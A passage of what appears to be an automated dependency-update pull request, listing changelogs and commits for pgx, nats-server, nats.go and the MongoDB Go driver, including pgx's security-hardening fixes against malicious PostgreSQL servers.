view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/jackc/pgx/v5` from 5.9.2 to 5.10.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jackc/pgx/blob/master/CHANGELOG.md\"\u003egithub.com/jackc/pgx/v5's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e5.10.0 (June 3, 2026)\u003c/h1\u003e\n\u003cp\u003eThis release includes a significant amount of hardening against malicious or compromised PostgreSQL servers,\ncontributed by Sean Chittenden at CrowdStrike, Inc. This work bounds binary decoders against attacker-controlled\nmessage sizes, caps server-supplied SCRAM iteration counts, adds \u003ccode\u003erequire_auth\u003c/code\u003e to restrict which authentication\nmethods a server may use (mitigating downgrade attacks under \u003ccode\u003esslmode=prefer\u003c/code\u003e), and ensures cancellation requests are\nsent over TLS when the original connection used TLS.\u003c/p\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003erequire_auth\u003c/code\u003e to restrict accepted server authentication methods (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eParseConfigOptions.ConnStringAllowedKeys\u003c/code\u003e to restrict allowed connection string keys (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eStructArgs\u003c/code\u003e and \u003ccode\u003eStrictStructArgs\u003c/code\u003e for \u003ccode\u003e@\u003c/code\u003e-named queries (Tubelight30)\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eErrConnClosed\u003c/code\u003e sentinel error and unwrap it from \u003ccode\u003econnLockError\u003c/code\u003e (Charlie Tonneslan)\u003c/li\u003e\n\u003cli\u003epgxpool: check if connection is expired before acquire (arthurdotwork)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eSecurity Hardening\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEncrypt \u003ccode\u003eCancelRequest\u003c/code\u003e connection when the primary connection used TLS (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eCap server-supplied SCRAM iteration count (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eDefault Frontend max message body length to ~1 GiB (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eBound hstore binary decode against malicious server input (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eBound array binary decode element length against remaining message bytes (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eBound array element count against remaining message bytes (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eBound range, multirange, and tsvector binary decoders (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eDocument secure connection configuration (Sean Chittenden at CrowdStrike, Inc.)\u003c/li\u003e\n\u003cli\u003eFix panic on malformed geometric text; return an error instead (MaIII)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eFixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix scanning \u003ccode\u003e\u0026quot;char\u0026quot;\u003c/code\u003e (OID 18) into \u003ccode\u003e*string\u003c/code\u003e in binary format (luongs3)\u003c/li\u003e\n\u003cli\u003eFix handling of typed-nil \u003ccode\u003edriver.Valuer\u003c/code\u003e in array and composite codecs (Donncha Fahy)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eCopyData.Data\u003c/code\u003e hex decoding in \u003ccode\u003eUnmarshalJSON\u003c/code\u003e (Charlie Tonneslan)\u003c/li\u003e\n\u003cli\u003eFix data race when context is cancelled during connect\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eparseKeywordValueSettings\u003c/code\u003e rejecting trailing whitespace (alliasgher)\u003c/li\u003e\n\u003cli\u003epgconn: preserve full error chain in \u003ccode\u003enormalizeTimeoutError\u003c/code\u003e (Charlie Tonneslan)\u003c/li\u003e\n\u003cli\u003epgconn: use a fresh context for the fallback connection in \u003ccode\u003econnectPreferred\u003c/code\u003e (Charlie Tonneslan)\u003c/li\u003e\n\u003cli\u003epgxpool: fix \u003ccode\u003eMaxLifetimeDestroyCount\u003c/code\u003e and ping order for acquire-time expiry check\u003c/li\u003e\n\u003cli\u003eAdd missing error check of \u003ccode\u003erows.Err\u003c/code\u003e to load types (Jen Altavilla)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/7293fb11125be0373a92f716683f2d494f6fd4b0\"\u003e\u003ccode\u003e7293fb1\u003c/code\u003e\u003c/a\u003e Update changelog for v5.10.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/1ade2852841d4ee55677207200f4ffdbc217ce69\"\u003e\u003ccode\u003e1ade285\u003c/code\u003e\u003c/a\u003e pgconn: document secure connection configuration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/b4d6d4d1be7f381bb81d12ebfecae6b10f5c7562\"\u003e\u003ccode\u003eb4d6d4d\u003c/code\u003e\u003c/a\u003e pgtype: bound range, multirange, and tsvector binary decoders\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/0639b37f8f4fff31dbe73297087e69b3ccc3bf2b\"\u003e\u003ccode\u003e0639b37\u003c/code\u003e\u003c/a\u003e pgconn: add ParseConfigOptions.ConnStringAllowedKeys\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/b28e65b0c3e0cd45c09e7c9ce36e5e29caa6dbe9\"\u003e\u003ccode\u003eb28e65b\u003c/code\u003e\u003c/a\u003e pgtype: bound array element count against remaining message bytes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/cd1f389d37d775bc8cb11c60363946f928c02c98\"\u003e\u003ccode\u003ecd1f389\u003c/code\u003e\u003c/a\u003e pgtype: bound array binary decode element length against remaining bytes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/ff27b5bbea012020d1fd8b9bdd56284a88783ef1\"\u003e\u003ccode\u003eff27b5b\u003c/code\u003e\u003c/a\u003e pgtype: bound hstore binary decode against malicious server input\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/a6002e12a8a393844b48c29d105e7542e7b3a251\"\u003e\u003ccode\u003ea6002e1\u003c/code\u003e\u003c/a\u003e pgproto3: default Frontend max message body length to ~1 GiB\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/44f61732ecdfd08081a1a2ff7227f1e975f0b71e\"\u003e\u003ccode\u003e44f6173\u003c/code\u003e\u003c/a\u003e pgconn: cap server-supplied SCRAM iteration count\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jackc/pgx/commit/1a976f7bb91216ea7f8369cb7abe78ce34dc244f\"\u003e\u003ccode\u003e1a976f7\u003c/code\u003e\u003c/a\u003e pgconn: add require_auth to restrict accepted server auth methods\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jackc/pgx/compare/v5.9.2...v5.10.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.8 to 2.14.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.2\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.52.0\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.45.0\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.2\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nkeys v0.4.16\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe client ID is now available through the embedded \u003ccode\u003eClientAuthentication\u003c/code\u003e API (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8217\"\u003e#8217\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA race condition when handling subscription interest over routes has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8235\"\u003e#8235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePotential protocol-level corruption from rewriting \u003ccode\u003e$JS.ACK\u003c/code\u003e subjects has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8242\"\u003e#8242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePotential protocol-level corruption from buffer misuse in compressed WebSocket clients has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8244\"\u003e#8244\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e/accstatz\u003c/code\u003e monitoring endpoint no longer omits accounts with only leaf connections (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8252\"\u003e#8252\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a case where Raft peers were not correctly tracked after an inactivity stall during catchup (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8226\"\u003e#8226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eQuorum needed is now calculated correctly when bootstrapping the metalayer when gateway URLs resolve to multiple IP addresses (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8238\"\u003e#8238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe filestore no longer performs a block skip check on streams with extremely high subject counts, as it could result in runaway CPU usage (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8227\"\u003e#8227\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a case where the filestore would not release a lock after handling a write error (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8232\"\u003e#8232\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePurge operations on both file and memory stores are now more consistent with each other (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8241\"\u003e#8241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a case where the consumer lock would not release a lock after handling a start sequence error (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8230\"\u003e#8230\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCounter streams and message schedules now have configuration constraints applied to prevent incorrect usage patterns (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8240\"\u003e#8240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved stream and consumer scale down behaviour consistency (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8253\"\u003e#8253\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where the per-subject state last block was not stored correctly with a max messages per subject limit of 1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8254\"\u003e#8254\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a drift that could occur in the peer sets after a peer remove of an online node (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8258\"\u003e#8258\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.14.1...v2.14.2\"\u003ehttps://github.com/nats-io/nats-server/compare/v2.14.1...v2.14.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRelease v2.14.2-RC.1\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/1d065926bb99ed14ebe9cf6a21529d28310fc8d3\"\u003e\u003ccode\u003e1d06592\u003c/code\u003e\u003c/a\u003e Release v2.14.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/4e1aefa11412f699f6e31549ea215389824d4c07\"\u003e\u003ccode\u003e4e1aefa\u003c/code\u003e\u003c/a\u003e Cherry-picks for v2.14.2 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8256\"\u003e#8256\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/ac092ff7c60aa4a0fa3f466198aa89d58bd15f47\"\u003e\u003ccode\u003eac092ff\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/01e589d49a512276adfa9f60699560c5be63bfd5\"\u003e\u003ccode\u003e01e589d\u003c/code\u003e\u003c/a\u003e [FIXED] Peer set desync/re-add after stream peer-remove\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3d122e82432917c2e4395523a33e929cc71ec5ca\"\u003e\u003ccode\u003e3d122e8\u003c/code\u003e\u003c/a\u003e De-flake TestJetStreamConsumerPrioritized\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3836d96692a7b9d1405ea404161e6a7f48ba3115\"\u003e\u003ccode\u003e3836d96\u003c/code\u003e\u003c/a\u003e [FIXED] Initial MaxMsgsPerSubject update not enforced\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/92cf2e314fe7ef38f3ac6223f874efa0f58819e0\"\u003e\u003ccode\u003e92cf2e3\u003c/code\u003e\u003c/a\u003e [FIXED] Filestore only stores last block when MaxMsgsPerSubject 1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3288b4fe279b6f689dc985758add443acb9095db\"\u003e\u003ccode\u003e3288b4f\u003c/code\u003e\u003c/a\u003e (2.14) [IMPROVED] Remove redundant error check in filestore\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/6ea46d54029a662ae3545da70b01c32976f6cdbc\"\u003e\u003ccode\u003e6ea46d5\u003c/code\u003e\u003c/a\u003e [FIXED] Stream and consumer scale down consistency\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5edd91c01a32945e1a4837a104c59114972c9bfb\"\u003e\u003ccode\u003e5edd91c\u003c/code\u003e\u003c/a\u003e [FIXED] AccountStatz omits accounts with only leaf connections\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.8...v2.14.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.51.0 to 1.52.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.52.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eThis release focuses on 2.14 nats-server features support.\u003c/p\u003e\n\u003ch3\u003eADDED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eAdded fast batch stream config field (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2052\"\u003e#2052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded message scheduling headers and publish opts (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2051\"\u003e#2051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdated \u003ccode\u003eStreamConfig\u003c/code\u003e with \u003ccode\u003eConsumer\u003c/code\u003e field and added \u003ccode\u003eAckFlowControlPolicy\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2070\"\u003e#2070\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded reset consumer API (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2069\"\u003e#2069\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eFix Subscription.StatusChanged channel closure on Closed Subscription. Thanks \u003ca href=\"https://github.com/nithimani38-prog\"\u003e\u003ccode\u003e@​nithimani38-prog\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2034\"\u003e#2034\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Flaky JS cluster tests (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2062\"\u003e#2062\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.51.0...v1.52.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.51.0...v1.52.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e9f2a36e31b1065f69b252ea090c01e8869eab0b\"\u003e\u003ccode\u003ee9f2a36\u003c/code\u003e\u003c/a\u003e Release v1.52.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2074\"\u003e#2074\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/609274f8c57b65c9d11b01b008b0e40fadfc9d5b\"\u003e\u003ccode\u003e609274f\u003c/code\u003e\u003c/a\u003e [FIXED] Subscription.StatusChanged channel closure on Closed Subscription (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/f7cde748abc86c2981cb1391ca828fceea02af66\"\u003e\u003ccode\u003ef7cde74\u003c/code\u003e\u003c/a\u003e [IMPROVED] Use latest release build for badge in README (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2064\"\u003e#2064\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/c7476ea556818d561945e78863adab422f00de03\"\u003e\u003ccode\u003ec7476ea\u003c/code\u003e\u003c/a\u003e [IMPROVED] Reject empty consumer info in CONSUMER.RESET response (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2072\"\u003e#2072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/8fde36fd10a34224e22f4f8a8ad1f61ecaedd18f\"\u003e\u003ccode\u003e8fde36f\u003c/code\u003e\u003c/a\u003e [ADDED] ResetConsumer JetStream API (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2069\"\u003e#2069\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/dcfd0fcc6f63c4a2e4436e5aa3ecd4e1dcc598df\"\u003e\u003ccode\u003edcfd0fc\u003c/code\u003e\u003c/a\u003e [ADDED] StreamSource.Consumer config field and AckFlowControlPolicy (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2070\"\u003e#2070\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7a28503b5d5d633d2caaa2639571e5f19c8eebec\"\u003e\u003ccode\u003e7a28503\u003c/code\u003e\u003c/a\u003e [ADDED] Publish options and consts for message scheduling (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2051\"\u003e#2051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/6c91a518e305e56c6481cf63ba52416300b7f5d3\"\u003e\u003ccode\u003e6c91a51\u003c/code\u003e\u003c/a\u003e [ADDED] AllowBatchPublish stream config field (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2052\"\u003e#2052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/a614d0be24c7e9a22a406572bee44d897cff27c3\"\u003e\u003ccode\u003ea614d0b\u003c/code\u003e\u003c/a\u003e [FIXED] Flaky JS cluster tests due to race in setupJSClusterWithSize (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2062\"\u003e#2062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.51.0...v1.52.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `go.mongodb.org/mongo-driver/v2` from 2.5.0 to 2.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mongodb/mongo-go-driver/releases\"\u003ego.mongodb.org/mongo-driver/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eMongoDB Go Driver 2.7.0\u003c/h2\u003e\n\u003cp\u003eThe MongoDB Go Driver Team is pleased to release version 2.7.0 of the official MongoDB Go Driver.\u003c/p\u003e\n\u003ch2\u003eRelease Highlights\u003c/h2\u003e\n\u003cp\u003eThis release adds support for sending afterClusterTime on writes in causally consistent sessions, improving alignment between read and write behavior in session-based workflows. It also continues cleanup of session-related and internal-only APIs by deprecating the experimental session API, helping clarify which surfaces are intended for long-term public use. Alongside that, the release includes a handful of targeted quality improvements across BSON validation, change streams, and error reporting to make the driver more predictable and easier to debug.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003e✨ New Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eGODRIVER-3921 retro backpressure cleanup by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2394\"\u003emongodb/mongo-go-driver#2394\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3912 Add prose test for database.ListCollection routing by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2390\"\u003emongodb/mongo-go-driver#2390\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3874 Send afterClusterTime on writes in causally-consistent sessions by \u003ca href=\"https://github.com/matthewdale\"\u003e\u003ccode\u003e@​matthewdale\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2412\"\u003emongodb/mongo-go-driver#2412\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3957 Fix long lines in bson/decoder_example_test.go and expand check-fmt to cover both *_example_test.go and *_examples_test.go files by \u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2428\"\u003emongodb/mongo-go-driver#2428\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3962 fix: change stream set batch size nil cursor by \u003ca href=\"https://github.com/zigzagdev\"\u003e\u003ccode\u003e@​zigzagdev\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2424\"\u003emongodb/mongo-go-driver#2424\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3965 fix: misleading error message type info in rewrap function by \u003ca href=\"https://github.com/zigzagdev\"\u003e\u003ccode\u003e@​zigzagdev\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2430\"\u003emongodb/mongo-go-driver#2430\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🐛 Fixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eGODRIVER-3862: Collection.Clone propegates BSONOptions by \u003ca href=\"https://github.com/softprops\"\u003e\u003ccode\u003e@​softprops\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2364\"\u003emongodb/mongo-go-driver#2364\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3858 Split write batches by wire-message size, not document payload (Merge up from release/2.6). by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2397\"\u003emongodb/mongo-go-driver#2397\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3931 Fix bson.Raw.Validate panic on zero-length BSON document by \u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2418\"\u003emongodb/mongo-go-driver#2418\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3832: Fix mongo.ErrorCodes() with ClientBulkWriteException by \u003ca href=\"https://github.com/FGasper\"\u003e\u003ccode\u003e@​FGasper\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2420\"\u003emongodb/mongo-go-driver#2420\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3960 fix: format Arguments swapping by \u003ca href=\"https://github.com/zigzagdev\"\u003e\u003ccode\u003e@​zigzagdev\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2423\"\u003emongodb/mongo-go-driver#2423\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e📝 Other Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eGODRIVER-3838 Update comments on SetLimit(). by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2372\"\u003emongodb/mongo-go-driver#2372\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3871 Make files in \u0026quot;examples\u0026quot; runnable. by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2381\"\u003emongodb/mongo-go-driver#2381\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3880 Skip QE \u0026quot;prefixPreview\u0026quot; and \u0026quot;suffixPreview\u0026quot; tests on server 9.0.0+. by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca 